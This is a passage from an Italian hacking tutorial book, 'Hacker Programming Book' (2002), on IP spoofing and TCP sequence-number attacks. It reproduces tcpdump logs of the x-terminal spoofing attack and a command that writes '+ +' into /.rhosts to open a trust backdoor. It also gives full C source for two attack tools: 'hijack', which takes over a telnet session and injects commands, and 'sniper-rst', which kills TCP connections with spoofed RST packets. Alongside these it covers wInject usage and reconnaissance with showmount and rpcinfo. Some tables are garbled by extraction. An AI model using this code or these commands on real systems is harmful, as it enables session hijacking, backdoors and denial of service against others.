14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: win 0 14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: win 4096 14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: ack 1382726999 win 4096 14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: win 0 14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: win 4096 14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: ack 1382727000 win 4096 14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: win 0 14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: win 4096 14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: ack 1382727001 win 4096 14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: win 0 14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: win 4096 14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: ack 1382727002 win 4096 14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: win 0 14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: win 4096 14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: ack 1382727003 win 4096 14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: win 0 14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: win 4096 14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: ack 1382727004 win 4096 14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: win 0 R 1382726992:1382726992(0) S 1382726992:1382726992(0) S 2022080000:2022080000(0) R 1382726993:1382726993(0) S 1382726993:1382726993(0) S 2022208000:2022208000(0) R 1382726994:1382726994(0) S 1382726994:1382726994(0) S 2022336000:2022336000(0) R 1382726995:1382726995(0) S 1382726995:1382726995(0) S 2022464000:2022464000(0) R 1382726996:1382726996(0) S 1382726996:1382726996(0) S 2022592000:2022592000(0) R 1382726997:1382726997(0) R 1382726997:1382726997(0) S 1382726997:1382726997(0) S 2022720000:2022720000(0) R 1382726998:1382726998(0) S 1382726998:1382726998(0) S 2022848000:2022848000(0) R 1382726999:1382726999(0) S 1382726999:1382726999(0) S 2022976000:2022976000(0) R 1382727000:1382727000(0) S 1382727000:1382727000(0) S 2023104000:2023104000(0) R 1382727001:1382727001(0) S 1382727001:1382727001(0) S 2023232000:2023232000(0) R 1382727002:1382727002(0) S 1382727002:1382727002(0) S 2023360000:2023360000(0) R 1382727003:1382727003(0) S 1382727003:1382727003(0) S 2023488000:2023488000(0) R 1382727004:1382727004(0)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: win 4096 14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: ack 1382727005 win 4096 14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: win 0 14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: win 4096 14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: ack 1382727006 win 4096 14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: win 0 14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: win 4096 14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: ack 1382727007 win 4096 14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: win 0 14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: win 4096 14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: ack 1382727008 win 4096 14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: win 0 14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: win 4096 14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: ack 1382727009 win 4096 14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: win 0 14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: win 4096 14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: ack 1382727010 win 4096 14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: win 0 S 1382727004:1382727004(0) S 2023616000:2023616000(0) R 1382727005:1382727005(0) S 1382727005:1382727005(0) S 2023744000:2023744000(0) R 1382727006:1382727006(0) S 1382727006:1382727006(0) S 2023872000:2023872000(0) R 1382727007:1382727007(0) S 1382727007:1382727007(0) S 2024000000:2024000000(0) R 1382727008:1382727008(0) S 1382727008:1382727008(0) S 2024128000:2024128000(0) R 1382727009:1382727009(0) S 1382727009:1382727009(0) S 2024256000:2024256000(0) R 1382727010:1382727010(0)

I numeri sequenziali sono quelli messi in reverse. Notate che ogni pacchetto SYN-ACK inviato da x-terminal possiede un numero iniziale di sequenza che di 128,000 maggiore di quello precedente. Quando aggiungiamo questo numero magico al numero squenziale riusciamo ad ottenere il successivo numero sequenziale da usare. Vediamo ora un SYN forgiato (connection request), presubilmente dal server.login indirizzato a x-terminal.shell. Lassunzione che x-terminal probabilmente rende trust il server server, in modo che xterminal possa eseguire qualsiasi cosa che il server richieda (o qualsiasi cosa che venga richiesto da qualche duno mascherato da server) . x-terminal replica al server con un SYN-ACK, il quale deve essere ACK-ato per fare in modo che la connessione sia aperta. Normalmente il numero di sequenza dal SYN-ACK richiesto al fine di generare un ACK valido. Tuttavia lattaccante in grado di predire il numero di sequenza contenuto nel SYN-ACK basato sul comportamentp conosciuto del generatore di seuenze TCP di x-terminal, e quindi capace di creare lACK al SYN-ACK senza vederlo.:
14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096 14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

La macchina che esegue lo spoofing ora possiede una connessione a una via alla xterminal.shell che appare essere del server.login. Esso pu mantenere la connessione e inviare dati a patto che possa creare lACK corretto relativo a qualsiasi dato inviato dal x-terminal. Questo invia il seguente :
14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096 14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096 14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

il quale corrisponde a:

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book

14:18:37 server# rsh x-terminal "echo + + >>/.rhosts" Il tempo totale passato dal primo pacchetto falsificato minire di 16 secondi. La connessione falsificata ora rilasciata:
14:18:41.347003 14:18:42.255978 14:18:43.165874 14:18:52.179922 14:18:52.236452 server.login server.login server.login server.login server.login > > > > > x-terminal.shell: x-terminal.shell: x-terminal.shell: x-terminal.shell: x-terminal.shell: . . F R R ack 2 win 4096 ack 3 win 4096 32:32(0) ack 3 win 4096 1382727043:1382727043(0) win 4096 1382727044:1382727044(0) win 4096

A questo punto le connessioni hal open che riempivano la coda del computer a cui veniva data fiducia devono essere chiuse mediante linvio di pacchetti con il flag FIN oppure con quello RST attivo. Ora vediamo RSTs a resettare la connessione mezza aperta e svuotare la coda relativa alla connessione con server.login:
14:18:52.298431 14:18:52.363877 14:18:52.416916 14:18:52.476873 14:18:52.536573 14:18:52.600899 14:18:52.660231 14:18:52.717495 14:18:52.776502 14:18:52.836536 14:18:52.937317 14:18:52.996777 14:18:53.056758 14:18:53.116850 14:18:53.177515 14:18:53.238496 14:18:53.297163 14:18:53.365988 14:18:53.437287 14:18:53.496789 14:18:53.556753 14:18:53.616954 14:18:53.676828 14:18:53.736734 14:18:53.796732 14:18:53.867543 14:18:53.917466 14:18:53.976769 14:18:54.039039 14:18:54.097093 130.92.6.97.600 130.92.6.97.601 130.92.6.97.602 130.92.6.97.603 130.92.6.97.604 130.92.6.97.605 130.92.6.97.606 130.92.6.97.607 130.92.6.97.608 130.92.6.97.609 130.92.6.97.610 130.92.6.97.611 130.92.6.97.612 130.92.6.97.613 130.92.6.97.614 130.92.6.97.615 130.92.6.97.616 130.92.6.97.617 130.92.6.97.618 130.92.6.97.619 130.92.6.97.620 130.92.6.97.621 130.92.6.97.622 130.92.6.97.623 130.92.6.97.624 130.92.6.97.625 130.92.6.97.626 130.92.6.97.627 130.92.6.97.628 130.92.6.97.629 > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: server.login: R R R R R R R R R R R R R R R R R R R R R R R R R R R R R R 1382726960:1382726960(0) 1382726961:1382726961(0) 1382726962:1382726962(0) 1382726963:1382726963(0) 1382726964:1382726964(0) 1382726965:1382726965(0) 1382726966:1382726966(0) 1382726967:1382726967(0) 1382726968:1382726968(0) 1382726969:1382726969(0) 1382726970:1382726970(0) 1382726971:1382726971(0) 1382726972:1382726972(0) 1382726973:1382726973(0) 1382726974:1382726974(0) 1382726975:1382726975(0) 1382726976:1382726976(0) 1382726977:1382726977(0) 1382726978:1382726978(0) 1382726979:1382726979(0) 1382726980:1382726980(0) 1382726981:1382726981(0) 1382726982:1382726982(0) 1382726983:1382726983(0) 1382726984:1382726984(0) 1382726985:1382726985(0) 1382726986:1382726986(0) 1382726987:1382726987(0) 1382726988:1382726988(0) 1382726989:1382726989(0) win win win win win win win win win win win win win win win win win win win win win win win win win win win win win win 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096 4096

server.login ra pu accettare connessioni. Dopo che stata acquisito laccesso come root grazie all IP address spoofing, un modulo kernel chiamato "tap-2.01" viene compilato e installato su x-terminal:
x-terminal% modstat Id Type Loadaddr 1 Pdrv ff050000 Size 1000 B-major C-major 59. Sysnum Mod Name tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap crwxrwxrwx 1 root 37,

59 Dec 25 14:40 /dev/tap

Questo appare essere un modulo del kernel STREAMS il quale pu essere inserito allinterno dello STREAMS stack esistente e usato per acquisire il controllo di un tty device. Questo viene usato per prendere il controllo di una sessione di login gi autenticata. Questa tecnica viene anche chiamata Hijacking. Il seguente programma in C lesempio di questa tecnica.
/**************************************************************************/ /* Hijack - Example program on connection hijacking with IP spoofing */ /* (illustration for 'A short overview of IP spoofing') */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* */ /* Purpose - taking control of a running telnet session, and executing */ /* our own command in that shell. */ /* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o hijack hijack.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" */ /* My spoofing include.... read licence on this

/* Those 2 'defines' are important for putting the receiving device in */ /* PROMISCUOUS mode */ #define INTERFACE "eth0" /* first ethernet device */ #define INTERFACE_PREFIX 14 /* 14 bytes is an ethernet header */ #define PERSONAL_TOUCH int fd_receive, fd_send; char CLIENT[100],SERVER[100]; int CLIENT_P; void main(int argc, char *argv[]) { int i,j,count; struct sp_wait_packet attack_info; unsigned long sp_seq ,sp_ack; unsigned long old_seq ,old_ack; unsigned long serv_seq ,serv_ack; /* This data used to clean up the shell line */ char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; char evil_data[]="echo \"echo HACKED\" >>$HOME/.profile\n"; if(argc!=4) { printf("Usage: %s client client_port server\n",argv[0]); exit(1); 666

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


} strcpy(CLIENT,argv[1]); CLIENT_P=atoi(argv[2]); strcpy(SERVER,argv[3]); /* preparing all necessary sockets (sending + receiving) */ DEV_PREFIX = INTERFACE_PREFIX; fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, 0); /* normal BLOCKING mode */ printf("Starting Hijacking demo - Brecht Claerhout 1996\n"); printf("-----------------------------------------------\n"); for(j=0;j<50;j++) { printf("\nTakeover phase 1: Stealing connection.\n"); wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK| PSH,0); sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; printf(" Sending Spoofed clean-up data...\n"); transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23, sp_seq,sp_ack,ACK| PSH); /* NOTE: always beware you receive y'r OWN spoofed packs! */ /* so handle it if necessary */ count=0; printf(" Waiting for spoof to be confirmed...\n"); while(count<5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 1 unsuccesfully ended.\n");} else {printf("Phase 1 ended.\n"); break;}; }; printf("\nTakeover phase 2: Getting on track with SEQ/ACK's again\n"); count=serv_seq=old_ack=0; while(count<10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; if(count!=PERSONAL_TOUCH) {printf("Phase 2 unsuccesfully ended.\n"); exit(0);} printf(" Server SEQ: %X (hex) ACK: %X (hex)\n",serv_seq,serv_ack); printf("Phase 2 ended.\n"); printf("\nTakeover phase 3: Sending MY data.\n"); printf(" Sending evil data.\n"); transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); count=0;

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


printf(" Waiting for evil data to be confirmed...\n"); while(count<5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; if(count!=PERSONAL_TOUCH) {printf("Phase 3 unsuccesfully ended.\n"); exit(0);} printf("Phase 3 ended.\n"); }

Uso di wJniect nello spoofing


Inutile dire che questa di fatto sia una tecnica complessa per cui luso di qualche utility potente potrebbe semplificare la vita. Nei capitoli precedenti, quando abbiamo visto alcuni pacchetti usati dagli hackers, abbiamo parlato di wInject un pacchetto particolarmente potente per quello che riguarda liniezione di pacchetti manipolati sulla rete. Parlando di spoofing abbiamo visto che generalmente ci sono in gioco 3 entit alla quale potremmo anche aggiungerne una quarta. I primi tre erano : A: B: Z: Target Host Trusted Host Attacking Host

Il quarto possiamo considerarlo quelli irraggiungibile. X: Unreachable Host

Prima abbiamo gi spiegato il concetto ma in ogni caso penso che possiamo rivederlo in un altro modo. Sicuramente per concetti complessi come nel caso dello spoofing non sono mai parole sciupate. Abbiamo anche detto che negli ambienti Unix la creazione di relazioni TRUST possono essere fatte facilmente. Per fare questo supponiamo di avere un account sulla macchina A: e sulla macchina B: Al fine di facilitare le comunicazioni tra le due vogliamo creare una connessione full duplex legata ad una relazione trust. Nella home directory di A: creiamo il file .rhost Nella directory home di B: invece ecreaamo un altro file .rhost. A questo punto possiamo utilizzare i vari comandi r(login, ecc.) senza dover usare tutte le volte un meccanismo di autenticazione. Uno dei vari comandi r appunto rlogin . Questo un protocollo basato su una connessione client-server utilizzante TCP come metodo di trasporto. login permette ad un utente remoto di eseguire un login tra un host ed un altro senza dover tutte le volte inserire la password. Il discorso sul meccanismo di handshake di questo protocollo lo abbiamo visto nelle pagine precedenti. Il problema quindi sarebbe ora quello di usare una utility in grado di creare pachetti con contenuti manipolabili. Precedentemente abbiamo riportato due sorgenti in grado di svolgere delle funzioni nellambito dello spoofing. Nei capitoli precedentei abbiamo anche visto come COMMVIEW in grado di eseguire la costruzione di alcuni pacchetti ma sicuramente la manipolazione di questi mediante questo

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


software abbastanza complesso in quanto di fatto questo non ci mantiene un mappa visiva dei vari campi dellheader in cui dobbiamo inserire i valori da inviare ai vari host. WInject permette invece di eseguire diversi passi nellambito di tutti quelli che devono essere fatti per eseguire un attacco di spoofing. Per prima cosa wInject sceglie un host di destinazione e successivamente scopre una struttura di trust in relazione ad un host trusted. Una volta appurata questa struttura relativa allhost certficato e a quello certificante wInject disabilita lhost certificato, quello trusted, e cerca di campinare i numeri di seuqneza TCP. A questo punto sempre wInject pu essere utile per impersonare lhost trusted, indivinare il numero d sequenza ed eseguire una connessione con un servizio che a questo punto richiede solo pi un autenticazione basata sullindirizzo. Se tutta questa sequenza di operazioni eseguita correttamente da wInject allora lattaccante potr inserire qualche backdoor dentro al sistema vittima. La cosa sembra semplice ma anche se di fatto non lo wInject semplifica sufficientemente le cose. Uno dei fattori che complicano la vita nell IP Spoofing che lattacco cieco. La prima fase legata ad un esecuzione di una procedura relativa ad un Denial of Service ovvero mediante wInject vengono forgiati dei pacchetti indirizzati allhost trusted mediante datagrammi UDP. Lattacante nel caso dei datagrammi sa soltanto che questi raggiungeranno lhost ma tutto il procedimento deve essere fatto alla cieca. In pratica non sar mai possibile sapere che cosa spedisce indietro lhost a cui si stanno inviando i pacchetti ma deve slo immaginarlo. Un altro fatto che lattaccante deve sapere se di fatto un host possiede qualche relazione trust in quanto se cosi non fosse chiaro che un attacco sarebbe completamente inutile. Sapere questo relativamente semplice in qanto questo potrebbe essere fatto tramite un comando showmount -e Ad esempio : $ showmount -e www.target.com Export list for www.target.com: / (anonymous) il quale viene utilizzato per sapere dove i filesystem vengono esportati. Per ricavare altre informazioni pu essere utilizzato rpcinfo Un esempio di output quello che segue : $ rpcinfo -p www.target.com program vers proto 100000 3 udp 100000 2 udp 100000 3 tcp 100000 2 tcp 100003 2 udp 100003 3 udp 100024 1 udp 100024 1 tcp 100021 1 udp 100021 3 udp 100021 4 udp 100021 1 tcp 100021 3 tcp port 111 111 111 111 2049 2049 808 810 2049 2049 2049 2049 2049 portmapper portmapper portmapper portmapper nfs nfs status status nlockmgr nlockmgr nlockmgr nlockmgr nlockmgr

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


100021 100005 100005 391004 391004 100001 100001 100001 100000 100000 100000 100000 100003 100003 100024 100024 100021 100021 100021 100021 100021 100021 100005 100005 391004 391004 100001 100001 100001 391002 100083 4 1 1 1 1 1 2 3 3 2 3 2 2 3 1 1 1 3 4 1 3 4 1 1 1 1 1 2 3 1 1 tcp tcp udp tcp udp udp udp udp udp udp tcp tcp udp udp udp tcp udp udp udp tcp tcp tcp tcp udp tcp udp udp udp udp tcp tcp 2049 1058 1036 1063 1037 1038 1038 1038 111 111 111 111 2049 2049 808 810 2049 2049 2049 2049 2049 2049 1058 1036 1063 1037 1038 1038 1038 1070 1073 nlockmgr mountd mountd rstatd rstatd rstatd portmapper portmapper portmapper portmapper nfs nfs status status nlockmgr nlockmgr nlockmgr nlockmgr nlockmgr nlockmgr mountd mountd rstatd rstatd rstatd

Una volta che viene individividuato lhost trusted questo deve essere disabilitato, come abbiamo detto prima, mediante una procedura DOS ovvero inviando un flusso di TCP SYN.

TCP/IP Sequenze Attack


Spesso esiste una grossa confusione tra quelle che sono le tecniche di spoofing e quelle che vengono definite come attacchi connection hijacking Nei capitoli precedenti abbiamo visto i vari protocolli e i formati dei pacchetti relativi a questi. In particolar modo per quello che riguarda largomento di questo capitolo interessante rivedere lheader dei pacchetti TCP. Questo costituito da almeno 20 BYTEs suddivisi tra diversi campi. I campi utilizzati per lesecuzione delle tecniche di spoofing sono precisamente i seguenti:
TCP 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Source Port Sequence Number Acknowledgement Number D. Offset Reserved Checksum Options Control Window Urgent Pointer Padding Destination Port

Il campo relativo alla porta sorgente (16 bits)

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Il campo relativo alla porta di destinazione (16 bits) Il numero di sequenza (sequenze number di 32 bits) Acknowledgemnt number (32 bits) Windows size (16 bits) Diversi flag : Flag SYN, Flag ACK, Flag FIN e Flag RST

Gli steps per creare una connessione tramite il protocollo TCP sono in pratica tre : 1 Viene spedito un pacchetto TCP con il flag SYN impostato, ACK a zero e un valore X nel sequence number 2 Il server risponde con tutti e due i flag SYN e ACK impostati e con il SEQUENCE NUMBER impostato con un valore Y e Acknowledgment a valore X. 3 Il client risponde con il flag ACK, con il SEQUENXE NUMBER a X+1 e con ACKNOWLEDGMENT a Y+1 Volendolo raffigurare in formato grafico potremmo farlo con : SYN=1 ACK=0 SEQ-NUM=X CLIENT ----------------------------------- > SERVER SYN=1 ACK=1 SEQ-NUM=X ACK-NUM=X+1 CLIENT ----------------------------------- SERVER ACK=1 SEQ=-NUM=X+1 ACK-NUM=Y+1 CLIENT ----------------------------------- SERVER Soltanto dopo che la connessione stata inizializzata allora sar possibile trasmettere i dati. Il protocollo TCP possiede dei meccanismi mediante i quali pu eseguire le funzionalit classiche dei protocolli a finestre rotanti. In altre parole penso che sia inutile dire che una delle funzioni principali di questi di fatto il recupero dele informazioni giunte con errori interni. Chiaramente un'altra problematica quella legata al riassemblaggio delle finestre giunte con sequenze differenti da quella puramente sequenziale. I dati inviati tramite protocollo TCP possono arrivare anche con ordini differenti da quelli dinvio. La possibilit di poter ricostruire questa sequenza offerta appunto dalla presenza di questo numero sequenziale mentre la ritrasmissione dei pacchetti trasmessi pu essere richiesta mediante lacknowledgment number il quale indica il numero del prossimo byte atteso. Vediamo un esempio pratico :
SISTEMA SISTEMA SISTEMA SISTEMA A A A A ----SEQ-NUM=1000 SEQ-NUM=5000 SEQ-NUM=1100 SEQ-NUM=5250 ACK-NUM=5000 ACK-NUM=1100 ACK-NUM=5250 ACK-NUM=1250 DATI=100 bytes ---- DATI=250 bytes -----DATI=250 bytes ---- DATI=0 bytes -------SISTEMA SISTEMA SISTEMA SISTEMA B B B B

Linvio di un pacchetto con il flag FIN alzato indica al destinatario che non ci sono pi dati da spedire per cui dopo che questo viene confermato la connessione viene chiusa. Al contrario di questo il flag RST viene utilizzato per reinizializzare la comunicazione che per qualsiasi motivo diventata instabile. Fate attenzione che la ricezione di questo flag alzato potrebbe indicare un problema della connessione. A questo punto vedendo la manipolazione che il protocollo TCP esegue sui flags interni agli header dei pacchetti facile comprendere come lalterazione voluta di questi valori con il pi la modifica degli indirizzi di sorgente e di destinazione possa di fatto essere il modo con cui possibile creare attacchi di IP Spooifing, come abbiamo gi visto precedentemente. Questa parte vuole solo aggiungere alcuni concetti a quanto gi visto.

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


Una aggiunta che possibile fare al concetto di spoofing quello legato alla suddivisione di questa tecnica in due differenti le quali si diversificano dal fatto che lhost a cui ci si vuole sostituire sia di fatto partecipante alla sottorete della vittima o uno qualsiasi. Nel primo caso viene definito spoofing non cieco ovvero quello in cui lhost appartiene alla intranet della vittima. Nel secondo caso abbiamo a che fare con lo spoofing cieco. Quando esiste un cero numero di host connessi ad una rete e si vuole fare giungere un pacchetto ad uno di questi, lo si invia in broadcast in modo tale che tutti lo ricevano ma solo quello che a seguito dellanalisi del campo relativo al destinatario identifica come suo lIP lo processa. Le schede relative alle interfacce di rete possono essere settate in modo promiscuo. Abbiamo visto questa modalit parlando degli sniffer i quali proprio per il loro tipo di funzionamento devono processare tutti i pacchetti che gli giungono sopra. In modalit promiscua la scheda di rete processa tutti i pacchetti che gli arrivano. Nel caso di spoofing non cieco lattaccante cerca di farsi passare come un host che fa parte della sottorete per cui mette la scheda di rete in modalit promiscua in modo da poter leggere tutti i pacchetti compresi quelli che dovrebbero arrivare al sistema a cui vuole sostituirsi. In questo modo riesce ad individuare il SEQUENCE NUMBER. Alcune difficolt possono sorgere a causa delle scelte fatte per la strutturazione della rete mediante il fatto di adottare degli switch anzich degli HUB. Gli switch infatti inviano solo al destinatario i pacchetti al contrario di quello che fanno gli hub. Come abiamo vistonele pagine precedenti linvio di pachetti con certi flag alzati permette di scollegare certi sistemi. Una volta ottenuto il sequenze number lattaccante potrebbe spedire un pacchetto appositamente creato con i flags RST e FIN finalizzato a far cadere la connessione. Vediamo come possibile utilizzando il flag RST. Il pacchetto con lo scopo di resettare la connessione possiede solo il SEQUENCE NUMBER valido mentre lAKNOLEDGMENT viene disabilitato. Supponiamo di avere questa situazione :
A -----------H-------R--------------B | C -----------+ A e C = Host della stessa sottorete B = Host di una rete diversa H = HUB R = Router

Supponiamo che tra gli host A e B ci sia una connessione e che lattaccante si trovi nella postazione C. Per cercare di resettare la connessione lattaccante dovr attendere di ricevere un pacchetto salla connessione A-B. Partendo dal presupposto che riceva un pacchetto da B verso A, egli calcoler il SEQUENCE NUMBER a partire dallACKNOWLEDGEMENT del pacchetto ricevuto., poi costruir e spedir un pacchetto con le seguenti impostazioni: Campi del pacchetti IP: IP sorgente = A (IP spooffato) IP destinazione = B Campi del pacchetto TCP Porta sorgente = Porta usata dallhost A Porta destinazione = Porta usata dallhost B Sequence number contenente il valore calcolato Flag RST impostato In questo modo viene resettata la connessione. Il sorgente implementa questa metodologia.
/**************************************************************************/ /* Sniper-rst - Example program on connection killing with IP spoofing */ /* Using the RST flag. */ /* (illustration for 'A short overview of IP spoofing') */ /* */ /* Purpose - Killing any TCP connection on your subnet */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


/* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This program is for educational purposes only. I am in */ /* NO way responsible for what you do with this program, */ /* or any damage you or this program causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* ETHERNET support ("eth0" device) */ /* If you network configuration differs it shouldn't be to */ /* hard to modify yourself. I got it working on PPP too, */ /* but I'm not including extra configuration possibilities */ /* because this would overload this first release that is */ /* only a demonstration of the mechanism. */ /* Anyway if you only have ONE network device (slip, */ /* ppp,... ) after a quick look at this code and spoofit.h */ /* it will only take you a few secs to fix it... */ /* People with a bit of C knowledge and well known with */ /* their OS shouldn't have to much trouble to port the code.*/ /* If you do, I would love to get the results. */ /* */ /* Compiling - gcc -o sniper-rst sniper-rst.c */ /* */ /* Usage - Usage described in the spoofing article that came with this. */ /* If you didn't get this, try to get the full release... */ /* */ /* See also - Sniffit (for getting the necessairy data on a connection) */ /**************************************************************************/ #include "spoofit.h" /* Those 2 'defines' are important for putting the receiving device in /* PROMISCUOUS mode #define INTERFACE "eth0" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat,j; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf("usage: %s host1 port1 host2 port2\n",argv[0]); exit(0); } /* preparing some work */ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); /* opening sending and receiving sockets */ fd_send = open_sending(); */ */

Copyright 2002 Flavio Bernardotti Tel. (39) 380 7097051

Hacker Programming Book


fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); /* nonblocking IO */ printf("Trying to terminate the connection\n"); for(i=1;i<=100;i++) { /* Waiting for a packet containing an ACK */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,5); if(stat==-1) {printf("Connection 5 secs idle or dead...\n");exit(1);} sp_seq=pinfo.ack; sp_ack=0; j=0; /* Sending our fake Packet */ /* for(j=0;j<10;j++) This would be better */ /* { */ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq+j,sp_ack,RST); /* } */ /* waiting for confirmation */ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,0,5); if(stat<0) { printf("Connection 5 secs idle or dead...\n"); exit(0); } } printf("I did not succeed in killing it.\n"); }

La stessa cosa potrebbe essere eseguita impostando il flag FIN.


